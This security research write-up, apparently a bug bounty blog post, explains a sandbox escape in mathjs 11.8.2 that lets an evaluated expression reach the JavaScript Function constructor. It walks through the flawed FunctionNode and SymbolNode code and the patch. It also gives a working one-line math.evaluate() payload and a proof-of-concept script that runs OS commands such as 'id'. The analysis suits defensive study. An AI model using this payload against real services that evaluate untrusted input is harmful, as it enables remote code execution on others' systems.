Escaping the mathjs Sandbox: From math.evaluate() to Remote Code Execution

rce mathjs sandbox escape code injection nodejs

## Abstract

While hunting on a bug bounty program I ran into a service that evaluated untrusted input with mathjs, the popular JavaScript math library. The build in use was mathjs 11.8.2, which sits just before a security fix that shipped quietly in 11.9.1. What follows is the part that actually interested me as research: the mathjs internals that let an evaluated expression climb out of the library's own safety allow-list, reach the JavaScript Function constructor, and turn math.evaluate() into arbitrary code execution (and from there, OS command execution).

This post covers the root cause inside the FunctionNode and SymbolNode compilers, how to build the escape primitive, and a reproducible local proof of concept against mathjs 11.8.2. It is presented anonymized: no target details, just the library research, which concerns public open-source code that was patched back in 2023.

## How I Ended Up Reading mathjs

The trail started with one observation during recon: an input whose value came back evaluated, not echoed. Sending 7*7 returned 49. mathjs exposes its own version through the version symbol, and that returned 11.8.2. I recognized the number as pre-11.9.1, the release that silently fixed a FunctionNode / SymbolNode code-execution bug, and the rest of the work was confirming and weaponizing it. From here on the focus is the library, not the host.

## mathjs Is Not a Sandbox (But It Tries)

The maintainers state plainly that evaluating untrusted expressions is unsafe by design. Even so, mathjs ships an internal model meant to stop the obvious escapes: reaching constructor, __proto__, or prototype methods from inside an evaluated expression. It lives in src/utils/customs.js as an allow-list:

// src/utils/customs.js (v11.8.2)

function getSafeProperty (object, prop) {
  if (isPlainObject(object) && isSafeProperty(object, prop)) {
    return object[prop]
  }
  if (typeof object[prop] === 'function' && isSafeMethod(object, prop)) {
    throw new Error('Cannot access method "' + prop + '" as a property')
  }
  throw new Error('No access to property "' + prop + '"')
}

function isSafeProperty (object, prop) {
  if (!object || typeof object !== 'object') {
    return false
  }
  // safe: whitelisted, e.g. length
  if (hasOwnProperty(safeNativeProperties, prop)) {
    return true
  }
  // unsafe: inherited from Object.prototype, e.g. constructor
  if (prop in Object.prototype) {
    return false
  }
  // unsafe: inherited from Function.prototype, e.g. call, apply
  if (prop in Function.prototype) {
    return false
  }
  return true
}

The line that matters is if (prop in Object.prototype) return false. Because constructor is inherited from Object.prototype, getSafeProperty(obj, "constructor") always throws No access to property "constructor". So long as every property read during evaluation goes through getSafeProperty, the classic "".constructor.constructor("...")() trick is dead. The bug is that 11.8.2 has two reads that never call it.

## How mathjs Evaluates an Expression

math.evaluate(str) runs in three stages. parse(str) builds an Abstract Syntax Tree of typed nodes (FunctionNode, SymbolNode, ConstantNode, ArrayNode, and so on). Each node implements _compile(math, argNames), which returns a plain JavaScript closure shaped like function (scope, args, context). That closure is then run to produce the value.

Two parameters carry the whole story. math is the namespace of built-in functions and constants. argNames is an object whose keys are the names bound as function-assignment arguments, the x in a definition like f(x) = x^2. At runtime the closure receives args, the object that actually holds the values for those bound names. That args object is where the hole is.

## Root Cause: Two Unguarded Property Reads

### Hole #1, FunctionNode._compile

When the thing being called is a bare symbol (e.g. foo(...)), FunctionNode._compile branches on whether that symbol is a known argument name. If it is not an argument name, mathjs resolves it safely, through scope or through getSafeProperty(math, name). If it is treated as an argument name, it takes the other branch:

// src/expression/node/FunctionNode.js (v11.8.2)

_compile (math, argNames) {
  const evalArgs = this.args.map((arg) => arg._compile(math, argNames))

  if (isSymbolNode(this.fn)) {
    const name = this.fn.name
    if (!argNames[name]) {
      /* safe path: resolves name via scope.get(name) or getSafeProperty(math, name) */
    } else { // attacker forces this branch
      const rawArgs = this.args
      return function evalFunctionNode (scope, args, context) {
        const fn = args[name]                       // [1] raw read, no getSafeProperty()
        if (typeof fn !== 'function') {
          throw new TypeError(
            `Argument '${name}' was not a function; received: ${strin(fn)}`
          )
        }
        if (fn.rawArgs) {
          return fn(rawArgs, math, createSubScope(scope, args), scope)
        } else {
          const values = evalArgs.map((evalArg) => evalArg(scope, args, context))
          return fn.apply(fn, values)               // [2] Function.apply(Function, ['<body>'])
        }
      }
    }
  }
  /* ... AccessorNode branches ... */
}

At [1] the function value is read with a raw property access, args[name], no getSafeProperty wrapper. The only guard is a typeof fn !== 'function' check, which is trivial to satisfy. At [2], if fn happens to be the JavaScript Function constructor and values is ['<body>'], then fn.apply(fn, values) is exactly Function('<body>'), a brand-new JS function built from an attacker string.

### Hole #2, SymbolNode._compile

The sibling node has the same class of bug for bare symbol reads:

// src/expression/node/SymbolNode.js (v11.8.2)

_compile (math, argNames) {
  const name = this.name

  if (argNames[name] === true) {
    // function-assignment argument: the x in f(x) = ...
    return function (scope, args, context) {
      return args[name]                 // raw read, no getSafeProperty()
    }
  } else if (name in math) {
    return function (scope, args, context) {
      return scope.has(name) ? scope.get(name) : getSafeProperty(math, name)
    }
  } else {
    /* ... unit / undefined symbol ... */
  }
}

Notice the asymmetry: the name in math branch is careful to call getSafeProperty(math, name), but the argument-name branch reaches straight into args[name]. Both nodes trusted the args object as if its keys could only ever be the safe identifiers from the expression. But every JavaScript object carries constructor on its prototype chain.

### Why "constructor" slips through

The branch that reaches the raw read is gated on the argument-name lookup:

  • FunctionNode: the raw branch is the else of if (!argNames[name]), so it is taken whenever argNames[name] is truthy.
  • SymbolNode: gated on argNames[name] === true.

Here is the trick. argNames is just a JavaScript object, and a property read like argNames["constructor"] is truthy via the prototype chain. It resolves to a constructor function, never undefined. So for name = "constructor" the FunctionNode guard !argNames[name] is false, and execution falls into the raw branch. mathjs now believes constructor is a locally bound argument and reads it straight off args. If we also control what args is at call time, then args["constructor"] is whatever constructor we choose, including Function.

## The 11.9.1 Fix

The patch (commit 6dcbc6b) is tiny: it wraps both raw reads in getSafeProperty, so the lookup now goes through the same allow-list as every other property access:

// FunctionNode.js
-          const fn = args[name]
+          const fn = getSafeProperty(args, name)

// SymbolNode.js
-          return args[name]
+          return getSafeProperty(args, name)

After the fix, evaluating a constructor(...) expression routes through getSafeProperty(args, "constructor"), which hits prop in Object.prototype and throws No access to property "constructor". The two raw args[name] reads were the whole hole, and 11.8.2 predates the patch, so the hole is open.

## Building the Escape Primitive

Putting the two holes together gives a clean primitive. Parsing constructor('<JS source>') builds a FunctionNode whose function symbol is named constructor and whose single argument is a ConstantNode holding our JS source string. Walking the AST through compilation and invocation:

parse("constructor('return process.version')")
    -> FunctionNode( fn   = SymbolNode("constructor"),
                     args = [ ConstantNode("return process.version") ] )

._compile(1, 1)                       // any truthy math/argNames
    -> argNames["constructor"] is truthy, so the raw branch is taken
    -> returns the closure evalFunctionNode(scope, args, context)

closure(0, Math.cos)                  // scope unused, args = a js function
    -> fn     = args["constructor"]   // = the Function constructor
    -> values = ["return process.version"]
    -> Function.apply(Function, values) === Function("return process.version")
    -> a freshly built js function

f()                                   // runs the body in the node.js process
    -> "v18.20.8"

The key move is passing a real JavaScript function as the runtime args object. The constructor of any function is Function, and Function("...") is JavaScript's string-to-code gateway. Inside that built function we have the full Node.js global scope, so global.process.mainModule.require('child_process').execSync('...') is one step from OS command execution.

Two small details make the primitive survive a real math.evaluate() call rather than only the internal API. First, _compile(1, 1) uses plain truthy scalars instead of object literals, which some configurations disable; the constructor argument is a ConstantNode that ignores math and argNames anyway. Second, packing the steps into a mathjs array indexed at the end, [a, b, c][3], runs all three sub-expressions in a shared scope and returns the third as a single scalar string (mathjs indexing is 1-based). The result is a one-line expression:

[c=parse("constructor('return global.process.mainModule.require(`child_process`).execSync(`id`).toString()')")._compile(1,1),f=c(0,cos),f()][3]

## Proof of Concept

The whole thing reproduces offline against a stock mathjs 11.8.2 install, no target involved:

npm init -y
npm i mathjs@11.8.2
// poc.js
const math = require('mathjs')
console.log('mathjs version:', math.version)

// 1) the escape primitive, via the internal _compile path
const node = math.parse("constructor('return process.version')")
const built = node._compile(1, 1)(0, Math.cos)   // pass a js function so args['constructor'] is Function
console.log('JS exec   ->', built())

// 2) os command execution
const src = "constructor('return global.process.mainModule.require(`child_process`).execSync(`id`).toString()')"
console.log('OS exec   ->', math.parse(src)._compile(1, 1)(0, Math.cos)().trim())

// 3) same one-liner an app would feed to math.evaluate() on untrusted input
const payload = "[c=parse(\"constructor('return process.version')\")._compile(1,1),f=c(0,cos),f()][3]"
console.log('evaluate  ->', math.evaluate(payload))
$ node poc.js
mathjs version: 11.8.2
JS exec   -> v18.20.8
OS exec   -> uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),...
evaluate  -> v18.20.8

Three things are proven in one run: arbitrary JavaScript executes (it reads the host Node.js version), arbitrary OS commands execute (it runs id), and the exact same escape works through the public math.evaluate() API on a plain expression string. The id output reflects whatever user the Node.js process runs as; in the deployment where I found this, that was root. Swapping id for uname -a, hostname, or any command works the same way.

## References

─────────────────────────────────────
mathjs 11.8.2 // Sandbox Escape to RCE
ribeirin
─────────────────────────────────────
<< Back to Posts